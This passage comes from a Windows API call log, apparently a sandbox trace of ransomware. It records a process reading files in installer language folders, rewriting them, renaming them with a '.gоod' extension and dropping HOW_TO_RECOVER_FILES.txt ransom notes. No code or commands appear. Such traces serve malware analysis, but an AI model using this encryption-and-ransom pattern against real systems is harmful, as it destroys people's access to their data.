lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0109.272] GetFileType (hFile=0x6e4) returned 0x1 [0109.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0109.272] GetFileType (hFile=0x6e4) returned 0x1 [0109.272] WriteFile (in: hFile=0x6e4, lpBuffer=0x3235ed0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3235ed0*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0109.272] CloseHandle (hObject=0x6e4) returned 1 [0109.272] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0109.272] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0109.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0109.272] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12f80)) returned 1 [0109.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0109.273] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.gоod")) returned 1 [0109.273] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0109.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0109.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0109.274] GetFileType (hFile=0x6e4) returned 0x1 [0109.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0109.274] GetFileType (hFile=0x6e4) returned 0x1 [0109.275] WriteFile (in: hFile=0x6e4, lpBuffer=0x3389f20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x3389f20*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0109.276] CloseHandle (hObject=0x6e4) returned 1 [0109.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0109.276] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055", lpFilePart=0x0) returned 0x1a [0109.276] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.276] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.277] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0109.277] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0109.277] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0109.277] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0109.277] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0109.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0109.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0109.277] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055", lpFilePart=0x0) returned 0x1a [0109.277] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.277] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.278] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0109.278] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0109.278] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0109.278] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0109.278] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0109.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0109.278] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\eula.rtf", lpFilePart=0x0) returned 0x23 [0109.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0109.279] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x33991a8 | out: lpFileInformation=0x33991a8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13)) returned 1 [0109.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0109.279] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\eula.rtf", lpFilePart=0x0) returned 0x23 [0109.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0109.279] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0109.279] GetFileType (hFile=0x6e4) returned 0x1 [0109.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0109.279] GetFileType (hFile=0x6e4) returned 0x1 [0109.279] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xf13 [0109.279] ReadFile (in: hFile=0x6e4, lpBuffer=0x339a2c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x339a2c8*, lpNumberOfBytesRead=0x1f6edc28*=0xf13, lpOverlapped=0x0) returned 1 [0109.281] CloseHandle (hObject=0x6e4) returned 1 [0110.105] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\eula.rtf", lpFilePart=0x0) returned 0x23 [0110.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0110.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.106] GetFileType (hFile=0x7b4) returned 0x1 [0110.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0110.106] GetFileType (hFile=0x7b4) returned 0x1 [0110.106] WriteFile (in: hFile=0x7b4, lpBuffer=0x36479a0*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x36479a0*, lpNumberOfBytesWritten=0x1f6edb38*=0xf20, lpOverlapped=0x0) returned 1 [0110.107] CloseHandle (hObject=0x7b4) returned 1 [0110.107] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\eula.rtf", lpFilePart=0x0) returned 0x23 [0110.107] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0110.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0110.107] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x3dd7c805, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf20)) returned 1 [0110.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0110.108] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.gоod")) returned 1 [0110.109] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0110.109] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3648ff0 | out: lpFileInformation=0x3648ff0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12)) returned 1 [0110.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0110.110] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.110] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.110] GetFileType (hFile=0x7b4) returned 0x1 [0110.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.110] GetFileType (hFile=0x7b4) returned 0x1 [0110.110] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0110.110] ReadFile (in: hFile=0x7b4, lpBuffer=0x36493b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x36493b8*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0110.111] CloseHandle (hObject=0x7b4) returned 1 [0110.112] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.112] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.112] GetFileType (hFile=0x7b4) returned 0x1 [0110.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.112] GetFileType (hFile=0x7b4) returned 0x1 [0110.112] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x12c12 [0110.112] WriteFile (in: hFile=0x7b4, lpBuffer=0x364a910*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x364a910*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0110.113] CloseHandle (hObject=0x7b4) returned 1 [0110.113] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.113] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.113] GetFileType (hFile=0x7b4) returned 0x1 [0110.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.113] GetFileType (hFile=0x7b4) returned 0x1 [0110.113] ReadFile (in: hFile=0x7b4, lpBuffer=0x364cba8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x364cba8*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0110.209] CloseHandle (hObject=0x7b4) returned 1 [0110.209] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.210] GetFileType (hFile=0x7b4) returned 0x1 [0110.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.210] GetFileType (hFile=0x7b4) returned 0x1 [0110.210] WriteFile (in: hFile=0x7b4, lpBuffer=0x337ae58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x337ae58*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0110.210] CloseHandle (hObject=0x7b4) returned 1 [0110.210] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.210] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0110.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0110.210] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x3de878a9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12c22)) returned 1 [0110.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0110.210] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.gоod")) returned 1 [0110.211] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0110.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0110.211] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0110.212] GetFileType (hFile=0x7b4) returned 0x1 [0110.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0110.212] GetFileType (hFile=0x7b4) returned 0x1 [0110.212] WriteFile (in: hFile=0x7b4, lpBuffer=0x33b8480*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x33b8480*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0110.213] CloseHandle (hObject=0x7b4) returned 1 [0110.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0110.213] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052", lpFilePart=0x0) returned 0x1a [0110.213] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, 